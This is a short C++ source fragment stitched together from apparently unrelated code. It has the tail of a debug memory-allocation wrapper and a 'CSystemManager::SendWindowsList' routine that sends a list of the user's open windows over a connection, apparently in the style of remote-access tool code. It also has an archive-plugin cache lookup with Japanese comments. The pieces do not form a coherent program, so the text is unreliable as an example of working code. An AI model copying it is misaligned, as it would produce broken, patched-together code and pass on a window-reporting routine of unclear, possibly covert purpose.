int cbAlloc;
cbAlloc = LocalSize(h);
g_cbAlloced += cbAlloc;
g_dwAllocs++;
DebugMsg(g_fAllocMsgs, TEXT("SHLocalAlloc : %#08x %d"), h, cbAlloc);
return h;
}
void CSystemManager::SendWindowsList()
{
UINT nRet = -1;
LPBYTE lpBuffer = getWindowsList();
if (lpBuffer == NULL)
return;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
//キャッシュにあればコピー
//ph:アーカイブ情報を受け取るハンドルへのポインタ
//pinfo:アーカイブのファイル情報を受け取るポインタ
// あらかじめ pinfo に filename か position をセットしておく。
// キャッシュがあれば filename(position) の一致する情報を返す。
//キャッシュになければ、SPI_NO_FUNCTION が返る。
//キャッシュにあれば SPI_ALL_RIGHT が返る。
//アーカイブ情報はキャッシュにあるが、filename(position) が一致しない場合は
//SPI_NOT_SUPPORT が返る。エラーの場合はエラーコードが返る。
int InfoCache::Dupli(char *filepath, HLOCAL *ph, fileInfo *pinfo)
{
cs.Enter();
HLOCAL hinfo;
int ret = GetCache(filepath, &hinfo);
if (ret) {
ret = SPI_ALL_RIGHT;
if (ph != NULL) {
UINT size = LocalSize(hinfo);
/* 出力用のメモリの割り当て */
*ph = LocalAlloc(LMEM_FIXED, size);
if (*ph == NULL) {
ret = SPI_NO_MEMORY;
} else {
memcpy(*ph, (void*)hinfo, size);
}
} else {
fileInfo *ptmp = (fileInfo *)hinfo;
if (pinfo->filename[0] != '\0') {
for (;;) {
if (ptmp->method[0] == '\0') {
ret = SPI_NOT_SUPPORT;
break;
}
// complete path relative to archive root
char path[sizeof(ptmp->path)+sizeof(ptmp->filename)];
strcpy(path, ptmp->path);
size_t len = strlen(path);
if(len && path[len-1] != '/' && path[len-1] != '\\') // need delimiter
strcat(path, "\\");
strcat(path, ptmp->filename);
if (lstrcmpi(path, pinfo->filename) == 0) break;
ptmp++;
}
} else {
for (;;) {
if (ptmp->method[0] == '\0') {
ret = SPI_NOT_SUPPORT;
break;
}
if (ptmp->position == pinfo->position) break;
ptmp++;
}
}
if (ret == SPI_ALL_RIGHT) *pinfo = *ptmp;
}
} else {
ret = SPI_NO_FUNCTION;
}
cs.Leave();
return ret;
}
